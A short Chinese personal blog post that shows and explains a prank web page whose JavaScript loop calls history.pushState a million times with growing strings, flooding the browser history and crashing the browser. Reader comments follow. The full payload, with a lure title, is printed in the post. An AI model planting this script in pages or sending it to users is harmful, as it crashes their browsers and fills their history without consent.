EAimTY的博客
一个没什么技术的开源爱好者,一个苦逼的学生狗。
首页
关于
主题
如何将浏览器炸掉
Jan 27, 2016

警戒!警戒!千万不要点击下面的链接!

勿点!



































你真的点了😂?
没办法,只能重启浏览器了,然后回来了解一下这是怎么做到的😂

<html>
  <head>
    <title>等待10秒,便可享受到飞一般的感觉</title>
  </head>
  <body>
    <h1>抓紧,要上天了!</h1>
    <script>
      var total = "";
      for(var i = 0; i<1000000; i++) {
        total = total + i.toString();
        history.pushState(0,0,total);
      }
    </script>
  </body>
</html>

代码来自Cyber Security的Tweet

嗯...大家都能看出来这是一个JS循环体,而重点就在于history.pushState这句。

history.pushState是什么呢?

大家可能或多或少都听说过ajax与pjax,而它俩之间相差的这个“p”在某种意义上代表的就是history.pushState,这是现代浏览器普遍支持的一种添加浏览历史记录的方法

是不是觉得豁然开朗?没错!这一段JS就是在向你的浏览器历史里塞进1000000条记录😂

(逃

respond-post-18
明年我开会员
Jan 29, 2016, 14:06

666

Jan 29, 2016, 15:46

多谢捧场😄

洛枫
Apr 09, 2016, 14:06

洛枫前来拜访哟

Jul 31, 2017, 16:47

刚用了博主的主题,有点意思

Sep 05, 2017, 12:38

大ie 对象不支持“pushState”属性或方法

Shadow
May 20, 2018, 23:41

出乱码惹(用的Safari)

我来打酱油了
Nov 13, 2018, 16:37

可恶,我删了一百多条历史记录

啦啦啦
Mar 23, 2020, 21:02

怪不得备案信息那么猖狂,原来网站不在境内。封站警告[滑稽]

miko
Apr 03, 2020, 01:53

好奇心让我点了链接,,果然要重启浏览器😂

添加新评论

请填写称呼
请填写合法的E-mail地址
请填写合法的网站地址
请填写内容